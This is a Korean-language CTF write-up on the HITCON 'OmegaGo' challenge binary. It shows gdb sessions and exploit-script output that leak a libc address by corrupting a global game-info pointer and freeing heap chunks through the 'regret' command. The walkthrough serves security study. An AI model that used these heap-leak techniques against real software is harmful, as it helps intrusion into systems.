...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega* Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ...Print board... Time remain: O: 180.00, X: 180.00 A19 ...Print board... Time remain: O: 180.00, X: 171.04 ^C Program received signal SIGINT, Interrupt. gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000000000000002 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000010000 gdb-peda$ |
...
- 다음과 같은 방법을 이용해 Libc address를 추출할 수 있습니다.
- 앞에서 작성한 스크립트 코드에 의해 gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장되었습니다.
- 이 gPlayerGameInfo 영역에 저장된 값은 사용자의 입력 값으로 변경될 수 있습니다.
Code Block |
---|
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 4155
Attaching to process 4155
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.
gdb-peda$ x/gx 0x609fc0
0x609fc0: 0x00000000011d4e30
gdb-peda$ c
Continuing. |
- "D19"를 입력 하면 gPlayerGameInfo 영역에 영향을 주게됩니다.
Code Block |
---|
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py
[!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 4155
[*] Switching to interactive mode
ABCDEFGHIJKLMNOPQRS
...Print board...
Time remain: O: 180.00, X: 179.85
$ D19
ABCDEFGHIJKLMNOPQRS
...Print board...
Time remain: O: 180.00, X: 145.32
$c
Continuing. |
- 사용자 입력 값("D19")으로 인해 "0x11d4e30" → "0x11d4eb0"으로 변경되었습니다.
Code Block |
---|
^C
Program received signal SIGINT, Interrupt.
0x00007fcd3fc8d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/gx 0x609fc0
0x609fc0: 0x00000000011d4eb0
gdb-peda$ x/gx 0x00000000011d4eb0
0x11d4eb0: 0x0000000000000000
gdb-peda$ |
- 다음과 같은 방법으로 Libc address를 메모리에 저장할 수 있습니다.
"regret" 명령어를 입력합니다.
- DeletePlayHistory()함수에서는 History[] 배열 끝에 저장된 2개의 Heap주소를 할당 해제 하게됩니다.
- 이로 인해 해제된 메모리 영역에 Heap 영역에 Libc address를 저장할 수 있습니다.
- 다음은 디버깅을 통해 확인한 내용입니다.
- history[] 배열 마지막에 저장된 heap address 2개는 0x0201a180, 0x0201a0c0 입니다.
- 0x0201a0c0이 마지막으로 할당 해제 됩니다.
- 0x0201a0c0에는 GameInfo 구조체의 값을 저장하고 있습니다.
- "regret" 명령어 실행 후에는 0x1ca40c0 영역에 Libc address(0x00007fd2579d47b8)가 저장됩니다.
- 사실 0x00007fd2579d47b8는 Libc address가 아닙니다.
- 해당 프로세스의 메모리 맵을 보면 "/lib/x86_64-linux-gnu/libc-2.19.so"가 사용하는 메모리 뒷부분입니다.
- 하지만 이 값을 이용하여 Libc address base의 offset을 구할 수 있습니다.
0x7fd2579d47b8 - 0x7fd257616000 = 0x3be7b8
...